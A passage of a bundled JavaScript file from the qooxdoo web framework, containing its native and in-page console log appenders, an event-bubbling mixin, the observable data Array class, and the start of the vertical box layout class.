if (item.type === "map") { output.push("{", list.join(", "), "}"); } else { output.push("[", list.join(", "), "]"); } } else { output.push(msg); } } return output; } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) ************************************************************************ */ /* ************************************************************************ #require(qx.log.appender.Util) #require(qx.bom.client.Html) -- defer calls Logger.register which calls Native.process which needs "html.console" implementation ************************************************************************ */ /** * Processes the incoming log entry and displays it by means of the native * logging capabilities of the client. * * Supported browsers: * * Firefox <4 using FireBug (if available). * * Firefox >=4 using the Web Console. * * WebKit browsers using the Web Inspector/Developer Tools. * * Internet Explorer 8+ using the F12 Developer Tools. * * Opera >=10.60 using either the Error Console or Dragonfly * * Currently unsupported browsers: * * Opera <10.60 */ qx.Class.define("qx.log.appender.Native", { /* ***************************************************************************** STATICS ***************************************************************************** */ statics : { /** * Processes a single log entry * * @param entry {Map} The entry to process */ process : function(entry) { if (qx.core.Environment.get("html.console")) { // Firefox 4's Web Console doesn't support "debug" var level = console[entry.level] ? entry.level : "log"; if (console[level]) { var args = qx.log.appender.Util.toText(entry); console[level](args); } } } }, /* ***************************************************************************** DEFER ***************************************************************************** */ defer : function(statics) { qx.log.Logger.register(statics); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) ************************************************************************ */ /* ************************************************************************ #require(qx.event.handler.Window) #require(qx.event.handler.Keyboard) ************************************************************************ */ /** * Feature-rich console appender for the qooxdoo logging system. * * Creates a small inline element which is placed in the top-right corner * of the window. Prints all messages with a nice color highlighting. * * * Allows user command inputs. * * Command history enabled by default (Keyboard up/down arrows). * * Lazy creation on first open. * * Clearing the console using a button. * * Display of offset (time after loading) of each message * * Supports keyboard shortcuts F7 or Ctrl+D to toggle the visibility */ qx.Class.define("qx.log.appender.Console", { statics : { /* --------------------------------------------------------------------------- INITIALIZATION AND SHUTDOWN --------------------------------------------------------------------------- */ /** * Initializes the console, building HTML and pushing last * log messages to the output window. * * @return {void} */ init : function() { // Build style sheet content var style = [ '.qxconsole{z-index:10000;width:600px;height:300px;top:0px;right:0px;position:absolute;border-left:1px solid black;color:black;border-bottom:1px solid black;color:black;font-family:Consolas,Monaco,monospace;font-size:11px;line-height:1.2;}', '.qxconsole .control{background:#cdcdcd;border-bottom:1px solid black;padding:4px 8px;}', '.qxconsole .control a{text-decoration:none;color:black;}', '.qxconsole .messages{background:white;height:100%;width:100%;overflow:auto;}', '.qxconsole .messages div{padding:0px 4px;}', '.qxconsole .messages .user-command{color:blue}', '.qxconsole .messages .user-result{background:white}', '.qxconsole .messages .user-error{background:#FFE2D5}', '.qxconsole .messages .level-debug{background:white}', '.qxconsole .messages .level-info{background:#DEEDFA}', '.qxconsole .messages .level-warn{background:#FFF7D5}', '.qxconsole .messages .level-error{background:#FFE2D5}', '.qxconsole .messages .level-user{background:#E3EFE9}', '.qxconsole .messages .type-string{color:black;font-weight:normal;}', '.qxconsole .messages .type-number{color:#155791;font-weight:normal;}', '.qxconsole .messages .type-boolean{color:#15BC91;font-weight:normal;}', '.qxconsole .messages .type-array{color:#CC3E8A;font-weight:bold;}', '.qxconsole .messages .type-map{color:#CC3E8A;font-weight:bold;}', '.qxconsole .messages .type-key{color:#565656;font-style:italic}', '.qxconsole .messages .type-class{color:#5F3E8A;font-weight:bold}', '.qxconsole .messages .type-instance{color:#565656;font-weight:bold}', '.qxconsole .messages .type-stringify{color:#565656;font-weight:bold}', '.qxconsole .command{background:white;padding:2px 4px;border-top:1px solid black;}', '.qxconsole .command input{width:100%;border:0 none;font-family:Consolas,Monaco,monospace;font-size:11px;line-height:1.2;}', '.qxconsole .command input:focus{outline:none;}' ]; // Include stylesheet qx.bom.Stylesheet.createElement(style.join("")); // Build markup var markup = [ '<div class="qxconsole">', '<div class="control"><a href="javascript:qx.log.appender.Console.clear()">Clear</a> | <a href="javascript:qx.log.appender.Console.toggle()">Hide</a></div>', '<div class="messages">', '</div>', '<div class="command">', '<input type="text"/>', '</div>', '</div>' ]; // Insert HTML to access DOM node var wrapper = document.createElement("DIV"); wrapper.innerHTML = markup.join(""); var main = wrapper.firstChild; document.body.appendChild(wrapper.firstChild); // Make important DOM nodes available this.__main = main; this.__log = main.childNodes[1]; this.__cmd = main.childNodes[2].firstChild; // Correct height of messages frame this.__onResize(); // Finally register to log engine qx.log.Logger.register(this); // Register to object manager qx.core.ObjectRegistry.register(this); }, /** * Used by the object registry to dispose this instance e.g. remove listeners etc. * * @return {void} */ dispose : function() { qx.event.Registration.removeListener(document.documentElement, "keypress", this.__onKeyPress, this); qx.log.Logger.unregister(this); }, /* --------------------------------------------------------------------------- INSERT & CLEAR --------------------------------------------------------------------------- */ /** * Clears the current console output. * * @return {void} */ clear : function() { // Remove all messages this.__log.innerHTML = ""; }, /** * Processes a single log entry * * @signature function(entry) * @param entry {Map} The entry to process * @return {void} */ process : function(entry) { // Append new content this.__log.appendChild(qx.log.appender.Util.toHtml(entry)); // Scroll down this.__scrollDown(); }, /** * Automatically scroll down to the last line */ __scrollDown : function() { this.__log.scrollTop = this.__log.scrollHeight; }, /* --------------------------------------------------------------------------- VISIBILITY TOGGLING --------------------------------------------------------------------------- */ /** {Boolean} Flag to store last visibility status */ __visible : true, /** * Toggles the visibility of the console between visible and hidden. * * @return {void} */ toggle : function() { if (!this.__main) { this.init(); } else if (this.__main.style.display == "none") { this.show(); } else { this.__main.style.display = "none"; } }, /** * Shows the console. * * @return {void} */ show : function() { if (!this.__main) { this.init(); } else { this.__main.style.display = "block"; this.__log.scrollTop = this.__log.scrollHeight; } }, /* --------------------------------------------------------------------------- COMMAND LINE SUPPORT --------------------------------------------------------------------------- */ /** {Array} List of all previous commands. */ __history : [], /** * Executes the currently given command * * @return {void} */ execute : function() { var value = this.__cmd.value; if (value == "") { return; } if (value == "clear") { return this.clear(); } var command = document.createElement("div"); command.innerHTML = qx.log.appender.Util.escapeHTML(">>> " + value); command.className = "user-command"; this.__history.push(value); this.__lastCommand = this.__history.length; this.__log.appendChild(command); this.__scrollDown(); try { var ret = window.eval(value); } catch (ex) { qx.log.Logger.error(ex); } if (ret !== undefined) { qx.log.Logger.debug(ret); } }, /* --------------------------------------------------------------------------- EVENT LISTENERS --------------------------------------------------------------------------- */ /** * Event handler for resize listener * * @param e {Event} Event object * @return {void} */ __onResize : function(e) { this.__log.style.height = (this.__main.clientHeight - this.__main.firstChild.offsetHeight - this.__main.lastChild.offsetHeight) + "px"; }, /** * Event handler for keydown listener * * @param e {Event} Event object * @return {void} */ __onKeyPress : function(e) { var iden = e.getKeyIdentifier(); // Console toggling if ((iden == "F7") || (iden == "D" && e.isCtrlPressed())) { this.toggle(); e.preventDefault(); } // Not yet created if (!this.__main) { return; } // Active element not in console if (!qx.dom.Hierarchy.contains(this.__main, e.getTarget())) { return; } // Command execution if (iden == "Enter" && this.__cmd.value != "") { this.execute(); this.__cmd.value = ""; } // History managment if (iden == "Up" || iden == "Down") { this.__lastCommand += iden == "Up" ? -1 : 1; this.__lastCommand = Math.min(Math.max(0, this.__lastCommand), this.__history.length); var entry = this.__history[this.__lastCommand]; this.__cmd.value = entry || ""; this.__cmd.select(); } } }, /* ***************************************************************************** DEFER ***************************************************************************** */ defer : function(statics) { qx.event.Registration.addListener(document.documentElement, "keypress", statics.__onKeyPress, statics); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin used for the bubbling events. If you want to use this in your own model * classes, be sure that every property will call the * {@link #_applyEventPropagation} function on every change. */ qx.Mixin.define("qx.data.marshal.MEventBubbling", { events : { /** * The change event which will be fired on every change in the model no * matter what property changes. This event bubbles so the root model will * fire a change event on every change of its children properties too. * * Note that properties are required to call * {@link #_applyEventPropagation} on apply for changes to be tracked as * desired. It is already taken care of that properties created with the * {@link qx.data.marshal.Json} marshaler call this method. * * The data will contain a map with the following three keys * <li>value: The new value of the property</li> * <li>old: The old value of the property.</li> * <li>name: The name of the property changed including its parent * properties separated by dots.</li> * <li>item: The item which has the changed property.</li> * Due to that, the <code>getOldData</code> method will always return null * because the old data is contained in the map. */ "changeBubble": "qx.event.type.Data" }, members : { /** * Apply function for every property created with the * {@link qx.data.marshal.Json} marshaler. It fires and * {@link #changeBubble} event on every change. It also adds the chaining * listener if possible which is necessary for the bubbling of the events. * * @param value {var} The new value of the property. * @param old {var} The old value of the property. * @param name {String} The name of the changed property. */ _applyEventPropagation : function(value, old, name) { this.fireDataEvent("changeBubble", { value: value, name: name, old: old, item: this }); this._registerEventChaining(value, old, name); }, /** * Registers for the given parameters the changeBubble listener, if * possible. It also removes the old listener, if an old item with * a changeBubble event is given. * * @param value {var} The new value of the property. * @param old {var} The old value of the property. * @param name {String} The name of the changed property. */ _registerEventChaining : function(value, old, name) { // if the child supports chaining if ((value instanceof qx.core.Object) && qx.Class.hasMixin(value.constructor, qx.data.marshal.MEventBubbling) ) { // create the listener var listener = qx.lang.Function.bind( this.__changePropertyListener, this, name ); // add the listener var id = value.addListener("changeBubble", listener, this); var listeners = value.getUserData("idBubble-" + this.$$hash); if (listeners == null) { listeners = []; value.setUserData("idBubble-" + this.$$hash, listeners); } listeners.push(id); } // if an old value is given, remove the old listener if possible if (old != null && old.getUserData && old.getUserData("idBubble-" + this.$$hash) != null) { var listeners = old.getUserData("idBubble-" + this.$$hash); for (var i = 0; i < listeners.length; i++) { old.removeListenerById(listeners[i]); } old.setUserData("idBubble-" + this.$$hash, null); } }, /** * Listener responsible for formating the name and firing the change event * for the changed property. * * @param name {String} The name of the former properties. * @param e {qx.event.type.Data} The date event fired by the property * change. */ __changePropertyListener : function(name, e) { var data = e.getData(); var value = data.value; var old = data.old; // if the target is an array if (qx.Class.hasInterface(e.getTarget().constructor, qx.data.IListData)) { if (data.name.indexOf) { var dotIndex = data.name.indexOf(".") != -1 ? data.name.indexOf(".") : data.name.length; var bracketIndex = data.name.indexOf("[") != -1 ? data.name.indexOf("[") : data.name.length; // braktes in the first spot is ok [BUG #5985] if (bracketIndex == 0) { var newName = name + data.name; } else if (dotIndex < bracketIndex) { var index = data.name.substring(0, dotIndex); var rest = data.name.substring(dotIndex + 1, data.name.length); if (rest[0] != "[") { rest = "." + rest; } var newName = name + "[" + index + "]" + rest; } else if (bracketIndex < dotIndex) { var index = data.name.substring(0, bracketIndex); var rest = data.name.substring(bracketIndex, data.name.length); var newName = name + "[" + index + "]" + rest; } else { var newName = name + "[" + data.name + "]"; } } else { var newName = name + "[" + data.name + "]"; } // if the target is not an array } else { // special case for array as first element of the chain [BUG #5985] if (parseInt(name) == name && name !== "") { name = "[" + name + "]"; } var newName = name + "." + data.name; } this.fireDataEvent( "changeBubble", { value: value, name: newName, old: old, item: data.item || e.getTarget() } ); } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * The data array is a special array used in the data binding context of * qooxdoo. It does not extend the native array of JavaScript but its a wrapper * for it. All the native methods are included in the implementation and it * also fires events if the content or the length of the array changes in * any way. Also the <code>.length</code> property is available on the array. */ qx.Class.define("qx.data.Array", { extend : qx.core.Object, include : qx.data.marshal.MEventBubbling, implement : [qx.data.IListData], /** * Creates a new instance of an array. * * @param param {var} The parameter can be some types.<br/> * Without a parameter a new blank array will be created.<br/> * If there is more than one parameter is given, the parameter will be * added directly to the new array.<br/> * If the parameter is a number, a new Array with the given length will be * created.<br/> * If the parameter is a JavaScript array, a new array containing the given * elements will be created. */ construct : function(param) { this.base(arguments); // if no argument is given if (param == undefined) { this.__array = []; // check for elements (create the array) } else if (arguments.length > 1) { // create an empty array and go through every argument and push it this.__array = []; for (var i = 0; i < arguments.length; i++) { this.__array.push(arguments[i]); } // check for a number (length) } else if (typeof param == "number") { this.__array = new Array(param); // check for an array itself } else if (param instanceof Array) { this.__array = qx.lang.Array.clone(param); // error case } else { this.__array = []; this.dispose(); throw new Error("Type of the parameter not supported!"); } // propagate changes for (var i=0; i<this.__array.length; i++) { this._applyEventPropagation(this.__array[i], null, i); } // update the length at startup this.__updateLength(); // work against the console printout of the array if (qx.core.Environment.get("qx.debug")) { this[0] = "Please use 'toArray()' to see the content."; } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Flag to set the dispose behavior of the array. If the property is set to * <code>true</code>, the array will dispose its content on dispose, too. */ autoDisposeItems : { check : "Boolean", init : false } }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** * The change event which will be fired if there is a change in the array. * The data contains a map with three key value pairs: * <li>start: The start index of the change.</li> * <li>end: The end index of the change.</li> * <li>type: The type of the change as a String. This can be 'add', * 'remove' or 'order'</li> * <li>items: The items which has been changed (as a JavaScript array).</li> */ "change" : "qx.event.type.Data", /** * The changeLength event will be fired every time the length of the * array changes. */ "changeLength": "qx.event.type.Data" }, members : { // private members __array : null, /** * Concatenates the current and the given array into a new one. * * @param array {Array} The javaScript array which should be concatenated * to the current array. * * @return {qx.data.Array} A new array containing the values of both former * arrays. */ concat: function(array) { if (array) { var newArray = this.__array.concat(array); } else { var newArray = this.__array.concat(); } return new qx.data.Array(newArray); }, /** * Returns the array as a string using the given connector string to * connect the values. * * @param connector {String} the string which should be used to past in * between of the array values. * * @return {String} The array as a string. */ join: function(connector) { return this.__array.join(connector); }, /** * Removes and returns the last element of the array. * An change event will be fired. * * @return {var} The last element of the array. */ pop: function() { var item = this.__array.pop(); this.__updateLength(); // remove the possible added event listener this._registerEventChaining(null, item, this.length - 1); // fire change bubble event this.fireDataEvent("changeBubble", { value: [], name: this.length + "", old: [item], item: this }); this.fireDataEvent("change", { start: this.length - 1, end: this.length - 1, type: "remove", items: [item] }, null ); return item; }, /** * Adds an element at the end of the array. * * @param varargs {var} Multiple elements. Every element will be added to * the end of the array. An change event will be fired. * * @return {Number} The new length of the array. */ push: function(varargs) { for (var i = 0; i < arguments.length; i++) { this.__array.push(arguments[i]); this.__updateLength(); // apply to every pushed item an event listener for the bubbling this._registerEventChaining(arguments[i], null, this.length - 1); // fire change bubbles event this.fireDataEvent("changeBubble", { value: [arguments[i]], name: (this.length - 1) + "", old: [], item: this }); // fire change event this.fireDataEvent("change", { start: this.length - 1, end: this.length - 1, type: "add", items: [arguments[i]] }, null ); } return this.length; }, /** * Reverses the order of the array. An change event will be fired. */ reverse: function() { // ignore on empty arrays if (this.length == 0) { return; } var oldArray = this.__array.concat(); this.__array.reverse(); this.fireDataEvent("change", {start: 0, end: this.length - 1, type: "order", items: null}, null ); // fire change bubbles event this.fireDataEvent("changeBubble", { value: this.__array, name: "0-" + (this.__array.length - 1), old: oldArray, item: this }); }, /** * Removes the first element of the array and returns it. An change event * will be fired. * * @return {var} the former first element. */ shift: function() { // ignore on empty arrays if (this.length == 0) { return; } var item = this.__array.shift(); this.__updateLength(); // remove the possible added event listener this._registerEventChaining(null, item, this.length -1); // fire change bubbles event this.fireDataEvent("changeBubble", { value: [], name: "0", old: [item], item: this }); // fire change event this.fireDataEvent("change", { start: 0, end: this.length -1, type: "remove", items: [item] }, null ); return item; }, /** * Returns a new array based on the range specified by the parameters. * * @param from {Number} The start index. * @param to {Number?null} The end index. If omitted, slice extracts to the * end of the array. * * @return {qx.data.Array} A new array containing the given range of values. */ slice: function(from, to) { return new qx.data.Array(this.__array.slice(from, to)); }, /** * Method to remove and add new elements to the array. For every remove or * add an event will be fired. * * @param startIndex {Integer} The index where the splice should start * @param amount {Integer} Defines number of elements which will be removed * at the given position. * @param varargs {var} All following parameters will be added at the given * position to the array. * @return {qx.data.Array} An data array containing the removed elements. * Keep in to dispose this one, even if you don't use it! */ splice: function(startIndex, amount, varargs) { // store the old length var oldLength = this.__array.length; // invoke the slice on the array var returnArray = this.__array.splice.apply(this.__array, arguments); // fire a change event for the length if (this.__array.length != oldLength) { this.__updateLength(); } // fire an event for the change var removed = amount > 0; var added = arguments.length > 2; var items = null; if (removed || added) { if (this.__array.length > oldLength) { var type = "add"; items = qx.lang.Array.fromArguments(arguments, 2); } else if (this.__array.length < oldLength) { var type = "remove"; items = returnArray; } else { var type = "order"; } this.fireDataEvent("change", { start: startIndex, end: this.length - 1, type: type, items: items }, null ); } // add listeners for (var i = 2; i < arguments.length; i++) { this._registerEventChaining(arguments[i], null, startIndex + i); } // fire the changeBubble event var value = []; for (var i=2; i < arguments.length; i++) { value[i-2] = arguments[i]; }; var endIndex = (startIndex + Math.max(arguments.length - 3 , amount - 1)); var name = startIndex == endIndex ? endIndex : startIndex + "-" + endIndex; this.fireDataEvent("changeBubble", { value: value, name: name + "", old: returnArray, item: this }); // remove the listeners for (var i = 0; i < returnArray.length; i++) { this._registerEventChaining(null, returnArray[i], i); } return (new qx.data.Array(returnArray)); }, /** * Sorts the array. If a function is given, this will be used to * compare the items. <code>changeBubble</code> event will only be fired, * if sorting result differs from original array. * * @param func {Function} A compare function comparing two parameters and * should return a number. */ sort: function(func) { // ignore if the array is empty if (this.length == 0) { return; } var oldArray = this.__array.concat(); this.__array.sort.apply(this.__array, arguments); // prevent changeBubble event if nothing has been changed if (qx.lang.Array.equals(this.__array, oldArray) === true){ return; } this.fireDataEvent("change", {start: 0, end: this.length - 1, type: "order", items: null}, null ); // fire change bubbles event this.fireDataEvent("changeBubble", { value: this.__array, name: "0-" + (this.length - 1), old: oldArray, item: this }); }, /** * Adds the given items to the beginning of the array. For every element, * a change event will be fired. * * @param varargs {var} As many elements as you want to add to the beginning. */ unshift: function(varargs) { for (var i = arguments.length - 1; i >= 0; i--) { this.__array.unshift(arguments[i]) this.__updateLength(); // apply to every pushed item an event listener for the bubbling this._registerEventChaining(arguments[i], null, 0); // fire change bubbles event this.fireDataEvent("changeBubble", { value: [this.__array[0]], name: "0", old: [this.__array[1]], item: this }); // fire change event this.fireDataEvent("change", { start: 0, end: this.length - 1, type: "add", items: [arguments[i]] }, null ); } return this.length; }, /** * Returns the list data as native array. Beware of the fact that the * internal representation will be returnd and any manipulation of that * can cause a misbehavior of the array. This method should only be used for * debugging purposes. * * @return {Array} The native array. */ toArray: function() { return this.__array; }, /** * Replacement function for the getting of the array value. * array[0] should be array.getItem(0). * * @param index {Number} The index requested of the array element. * * @return {var} The element at the given index. */ getItem: function(index) { return this.__array[index]; }, /** * Replacement function for the setting of an array value. * array[0] = "a" should be array.setItem(0, "a"). * A change event will be fired if the value changes. Setting the same * value again will not lead to a change event. * * @param index {Number} The index of the array element. * @param item {var} The new item to set. */ setItem: function(index, item) { var oldItem = this.__array[index]; // ignore settings of already set items [BUG #4106] if (oldItem === item) { return; } this.__array[index] = item; // set an event listener for the bubbling this._registerEventChaining(item, oldItem, index); // only update the length if its changed if (this.length != this.__array.length) { this.__updateLength(); } // fire change bubbles event this.fireDataEvent("changeBubble", { value: [item], name: index + "", old: [oldItem], item: this }); // fire change event this.fireDataEvent("change", { start: index, end: index, type: "add", items: [item] }, null ); }, /** * This method returns the current length stored under .length on each * array. * * @return {Number} The current length of the array. */ getLength: function() { return this.length; }, /** * Returns the index of the item in the array. If the item is not in the * array, -1 will be returned. * * @param item {var} The item of which the index should be returned. * @return {Number} The Index of the given item. */ indexOf: function(item) { return this.__array.indexOf(item); }, /** * Returns the toString of the original Array * @return {String} The array as a string. */ toString: function() { if (this.__array != null) { return this.__array.toString(); } return ""; }, /* --------------------------------------------------------------------------- IMPLEMENTATION OF THE QX.LANG.ARRAY METHODS --------------------------------------------------------------------------- */ /** * Check if the given item is in the current array. * * @param item {var} The item which is possibly in the array. * @return {boolean} true, if the array contains the given item. */ contains: function(item) { return this.__array.indexOf(item) !== -1; }, /** * Return a copy of the given arr * * @return {qx.data.Array} copy of this */ copy : function() { return this.concat(); }, /** * Insert an element at a given position. * * @param index {Integer} Position where to insert the item. * @param item {var} The element to insert. */ insertAt : function(index, item) { this.splice(index, 0, item).dispose(); }, /** * Insert an item into the array before a given item. * * @param before {var} Insert item before this object. * @param item {var} The item to be inserted. */ insertBefore : function(before, item) { var index = this.indexOf(before); if (index == -1) { this.push(item); } else { this.splice(index, 0, item).dispose(); } }, /** * Insert an element into the array after a given item. * * @param after {var} Insert item after this object. * @param item {var} Object to be inserted. */ insertAfter : function(after, item) { var index = this.indexOf(after); if (index == -1 || index == (this.length - 1)) { this.push(item); } else { this.splice(index + 1, 0, item).dispose(); } }, /** * Remove an element from the array at the given index. * * @param index {Integer} Index of the item to be removed. * @return {var} The removed item. */ removeAt : function(index) { var returnArray = this.splice(index, 1); var item = returnArray.getItem(0); returnArray.dispose(); return item; }, /** * Remove all elements from the array. * * @return {Array} A native array containing the removed elements. */ removeAll : function() { // remove all possible added event listeners for (var i = 0; i < this.__array.length; i++) { this._registerEventChaining(null, this.__array[i], i); } // ignore if array is empty if (this.getLength() == 0) { return; } // store the old data var oldLength = this.getLength(); var items = this.__array.concat(); // change the length this.__array.length = 0; this.__updateLength(); // fire change bubbles event this.fireDataEvent("changeBubble", { value: [], name: "0-" + (oldLength - 1), old: items, item: this }); // fire the change event this.fireDataEvent("change", { start: 0, end: oldLength - 1, type: "remove", items: items }, null ); return items; }, /** * Append the items of the given array. * * @param array {Array|qx.data.IListData} The items of this array will * be appended. * @throws An exception if the second argument is not an array. */ append : function(array) { // qooxdoo array support if (array instanceof qx.data.Array) { array = array.toArray(); } // this check is important because opera throws an uncatchable error if // apply is called without an array as argument. if (qx.core.Environment.get("qx.debug")) { qx.core.Assert.assertArray(array, "The parameter must be an array."); } Array.prototype.push.apply(this.__array, array); // add a listener to the new items for (var i = 0; i < array.length; i++) { this._registerEventChaining(array[i], null, this.__array.length + i); } var oldLength = this.length; this.__updateLength(); // fire change bubbles var name = oldLength == (this.length-1) ? oldLength : oldLength + "-" + (this.length-1); this.fireDataEvent("changeBubble", { value: array, name: name + "", old: [], item: this }); // fire the change event this.fireDataEvent("change", { start: oldLength, end: this.length - 1, type: "add", items: array }, null ); }, /** * Remove the given item. * * @param item {var} Item to be removed from the array. * @return {var} The removed item. */ remove : function(item) { var index = this.indexOf(item); if (index != -1) { this.splice(index, 1).dispose(); return item; } }, /** * Check whether the given array has the same content as this. * Checks only the equality of the arrays' content. * * @param array {qx.data.Array} The array to check. * @return {Boolean} Whether the two arrays are equal. */ equals : function(array) { if (this.length !== array.length) { return false; } for (var i = 0; i < this.length; i++) { if (this.getItem(i) !== array.getItem(i)) { return false; } } return true; }, /** * Returns the sum of all values in the array. Supports * numeric values only. * * @return {Number} The sum of all values. */ sum : function() { var result = 0; for (var i = 0; i < this.length; i++) { result += this.getItem(i); } return result; }, /** * Returns the highest value in the given array. * Supports numeric values only. * * @return {Number | null} The highest of all values or undefined if the * array is empty. */ max : function() { var result = this.getItem(0); for (var i = 1; i < this.length; i++) { if (this.getItem(i) > result) { result = this.getItem(i); } } return result === undefined ? null : result; }, /** * Returns the lowest value in the array. Supports * numeric values only. * * @return {Number | null} The lowest of all values or undefined * if the array is empty. */ min : function() { var result = this.getItem(0); for (var i = 1; i < this.length; i++) { if (this.getItem(i) < result) { result = this.getItem(i); } } return result === undefined ? null : result; }, /** * Invokes the given function for every item in the array. * * @param callback {Function} The function which will be call for every * item in the array. It will be invoked with three parameters: * the item, the index and the array itself. * @param context {var} The context in which the callback will be invoked. */ forEach : function(callback, context) { for (var i = 0; i < this.__array.length; i++) { callback.call(context, this.__array[i], i, this); } }, /* --------------------------------------------------------------------------- INTERNAL HELPERS --------------------------------------------------------------------------- */ /** * Internal function which updates the length property of the array. * Every time the length will be updated, a {@link #changeLength} data * event will be fired. */ __updateLength: function() { var oldLength = this.length; this.length = this.__array.length; this.fireDataEvent("changeLength", this.length, oldLength); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { for (var i = 0; i < this.__array.length; i++) { var item = this.__array[i]; this._applyEventPropagation(null, item, i); // dispose the items on auto dispose if (this.isAutoDisposeItems() && item && item instanceof qx.core.Object) { item.dispose(); } } this.__array = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A vertical box layout. * * The vertical box layout lays out widgets in a vertical column, from top * to bottom. * * *Features* * * * Minimum and maximum dimensions * * Prioritized growing/shrinking (flex) * * Margins (with vertical collapsing) * * Auto sizing (ignoring percent values) * * Percent heights (not relevant for size hint) * * Alignment (child property {@link qx.ui.core.LayoutItem#alignY} is ignored) * * Vertical spacing (collapsed with margins) * * Reversed children layout (from last to first) * * Horizontal children stretching (respecting size hints) * * *Item Properties* * * <ul> * <li><strong>flex</strong> <em>(Integer)</em>: The flexibility of a layout item determines how the container * distributes remaining empty space among its children. If items are made * flexible, they can grow or shrink accordingly. Their relative flex values * determine how the items are being resized, i.e. the larger the flex ratio * of two items, the larger the resizing of the first item compared to the * second. * * If there is only one flex item in a layout container, its actual flex * value is not relevant. To disallow items to become flexible, set the * flex value to zero. * </li> * <li><strong>height</strong> <em>(String)</em>: Allows to define a percent * height for the item. The height in percent, if specified, is used instead * of the height defined by the size hint. The minimum and maximum height still * takes care of the element's limits. It has no influence on the layout's * size hint. Percent values are mostly useful for widgets which are sized by * the outer hierarchy. * </li> * </ul> * * *Example* * * Here is a little example of how to use the grid layout. * * <pre class="javascript"> * var layout = new qx.ui.layout.VBox(); * layout.setSpacing(4); // apply spacing * * var container = new qx.ui.container.Composite(layout); * * container.add(new qx.ui.core.Widget()); * container.add(new qx.ui.core.Widget()); * container.add(new qx.ui.core.Widget()); * </pre> * * *External Documentation* * * See <a href='http://manual.qooxdoo.org/${qxversion}/pages/layout/box.html'>extended documentation</a> * and links to demos for this layout. * */ qx.Class.define("qx.ui.layout.VBox", { extend : qx.ui.layout.Abstract, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param spacing {Integer?0} The spacing between child widgets {@link #spacing}. * @param alignY {String?"top"} Vertical alignment of the whole children * block {@link #alignY}. * @param separator {Decorator} A separator to render between the items */ construct : function(spacing, alignY, separator) { this.base(arguments); if (spacing) { this.setSpacing(spacing); } if (alignY) { this.setAlignY(alignY); } if (separator) { this.setSeparator(separator); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Vertical alignment of the whole children block. The vertical * alignment of the child is completely ignored in VBoxes ( * {@link qx.ui.core.LayoutItem#alignY}). */ alignY : { check : [ "top", "middle", "bottom" ], init : "top", apply : "_applyLayoutChange" }, /** * Horizontal alignment of each child. Can be overridden through * {@link qx.ui.core.LayoutItem#alignX}. */ alignX : { check : [ "left", "center", "right" ], init : "left", apply : "_applyLayoutChange" }, /** Vertical spacing between two children */ spacing : { check : "Integer", init : 0, apply : "_applyLayoutChange" }, /** Separator lines to use between the objects */ separator : { check : "Decorator", nullable : true, apply : "_applyLayoutChange" }, /** Whether the actual children list should be laid out in reversed order. */ reversed : { check : "Boolean", init : false, apply : "_applyReversed" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __heights : null, __flexs : null, __enableFlex : null, __children : null, /* --------------------------------------------------------------------------- HELPER METHODS --------------------------------------------------------------------------- */ // property apply _applyReversed : function() { // easiest way is to invalidate the cache this._invalidChildrenCache = true; // call normal layout change this._applyLayoutChange(); }, /** * Rebuilds caches for flex and percent layout properties */ __rebuildCache : function() { var children = this._getLayoutChildren(); var length = children.length; var enableFlex = false; var reuse = this.__heights && this.__heights.length != length && this.__flexs && this.__heights; var props; // Sparse array (keep old one if lengths has not been modified) var heights = reuse ? this.__heights : new Array(length); var flexs = reuse ? this.__flexs : new Array(length); // Reverse support if (this.getReversed()) { children = children.concat().reverse(); } // Loop through children to preparse values for (var i=0; i<length; i++) { props = children[i].getLayoutProperties(); if (props.height != null) { heights[i] = parseFloat(props.height) / 100; } if (props.flex != null) { flexs[i] = props.flex; enableFlex = true; } else { // reset (in case the index of the children changed: BUG #3131) flexs[i] = 0; } } // Store data if (!reuse) { this.__heights = heights; this.__flexs = flexs; } this.__enableFlex = enableFlex this.__children = children; // Clear invalidation marker delete this._invalidChildrenCache; }, /* --------------------------------------------------------------------------- LAYOUT INTERFACE --------------------------------------------------------------------------- */ // overridden verifyLayoutProperty : qx.core.Environment.select("qx.debug", { "true" : function(item, name, value) { this.assert(name === "flex" || name === "height", "The property '"+name+"' is not supported by the VBox layout!"); if (name =="height") { this.assertMatch(value, qx.ui.layout.Util.PERCENT_VALUE); } else { // flex this.assertNumber(value); this.assert(value >= 0); } }, "false" : null }), // overridden renderLayout : function(availWidth, availHeight) { // Rebuild flex/height caches if (this._invalidChildrenCache) { this.__rebuildCache(); } // Cache children var children = this.__children; var length = children.length; var util = 